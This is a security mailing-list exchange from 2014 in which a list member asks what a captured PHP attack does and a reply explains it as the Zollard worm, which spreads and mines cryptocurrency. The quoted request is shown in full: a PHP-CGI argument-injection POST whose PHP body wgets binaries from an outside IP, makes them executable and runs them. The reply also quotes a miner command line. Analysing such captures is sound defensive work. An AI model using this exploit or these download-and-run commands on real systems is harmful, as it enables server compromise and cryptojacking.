Re: What does this PHP exploit do?

[Pierre Schweitzer <pierre () reactos org>]

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Dear Dave,

Going quickly through the PHP script shows that it downloads lots of
executables for various architectures to then try to run them (hence
the chmod +x) on the host it was downloaded. So pretty portable worm.

The executable it downloads appears to have two basic functions:
- -> replicating itself over the network
- -> starting a cryptocurrency miner (CPU miner) on the infected host

Here is the way it starts the miner:
./minerd -q -B -a scrypt -o http://p2pool.org:5643 -u
MDFepZz9SpSbFSugUsXVE3CmrdTaKg1SWi -p pass

Cheers,
Pierre

On 10/10/2014 21:28, Dave Horsfall wrote:
> My apologies if this is off-topic for this list, but out of all the
>  security lists of which I am a member this seems to be the closest
> one that fits, so please point me to a more appropriate one in that
> case..
>
> I'm trying to figure out what this exploit does; it started around
> the time that Shellshock did, but I don't think that they're
> related.
>
> It downloads binaries for several architectures (even a MIPS) which
>  amongst other things futzes around with IPTABLES (including
> blocking the TELNET port) and appears to be self-reproducing.
>
> The hex-encoded stuff in the script below decodes to
>
> "-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-n"
>
>
> but my PHP-fu doesn't quite extend that far (and that
> "safe_mode=off" looks a bit suss).
>
> Script below, kindly supplied by 0wned boxes the world over (in
> this case, Korea):
>
> POST
> /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
> HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (compatible;
> Zollard; Linux) Content-Type: application/x-www-form-urlencoded 
> Content-Length: 1817 Connection: close
>
> <?php echo "Zollard"; $disablefunc =
> @ini_get("disable_functions"); if (!empty($disablefunc)) { 
> $disablefunc = str_replace(" ","",$disablefunc); $disablefunc =
> explode(",",$disablefunc); } function myshellexec($cmd) { global
> $disablefunc; $result = ""; if (!empty($cmd)) { if
> (is_callable("exec") and !in_array("exec",$disablefunc))
> {exec($cmd,$result); $result = join("\n",$result);} elseif
> (($result = `$cmd`) !== FALSE) {} elseif (is_callable("system") and
> !in_array("system",$disablefunc)) {$v = @ob_get_contents();
> @ob_clean(); system($cmd); $result = @ob_get_contents();
> @ob_clean(); echo $v;} elseif (is_callable("passthru") and
> !in_array("passthru",$disablefunc)) {$v = @ob_get_contents();
> @ob_clean(); passthru($cmd); $result = @ob_get_contents();
> @ob_clean(); echo $v;} elseif (is_resource($fp = popen($cmd,"r"))) 
> { $result = ""; while(!feof($fp)) {$result .= fread($fp,1024);} 
> pclose($fp); } } return $result; } myshellexec("rm -rf
> /tmp/armeabi;wget -P /tmp http://119.206.52.15:58455/armeabi;chmod
> +x /tmp/armeabi"); myshellexec("rm -rf /tmp/arm;wget -P /tmp
> http://119.206.52.15:58455/arm;chmod +x /tmp/arm"); myshellexec("rm
> -rf /tmp/ppc;wget -P /tmp http://119.206.52.15:58455/ppc;chmod +x
> /tmp/ppc"); myshellexec("rm -rf /tmp/mips;wget -P /tmp
> http://119.206.52.15:58455/mips;chmod +x /tmp/mips"); 
> myshellexec("rm -rf /tmp/mipsel;wget -P /tmp
> http://119.206.52.15:58455/mipsel;chmod +x /tmp/mipsel"); 
> myshellexec("rm -rf /tmp/x86;wget -P /tmp
> http://119.206.52.15:58455/x86;chmod +x /tmp/x86"); myshellexec("rm
> -rf /tmp/nodes;wget -P /tmp http://119.206.52.15:58455/nodes;chmod
> +x /tmp/nodes"); myshellexec("rm -rf /tmp/sig;wget -P /tmp
> http://119.206.52.15:58455/sig;chmod +x /tmp/sig"); 
> myshellexec("/tmp/armeabi;/tmp/arm;/tmp/ppc;/tmp/mips;/tmp/mipsel;/tmp/x86;");
>
>  -- Dave


- -- 
Pierre Schweitzer <pierre at reactos.org>
System & Network Administrator
Senior Kernel Developer
ReactOS Deutschland e.V.
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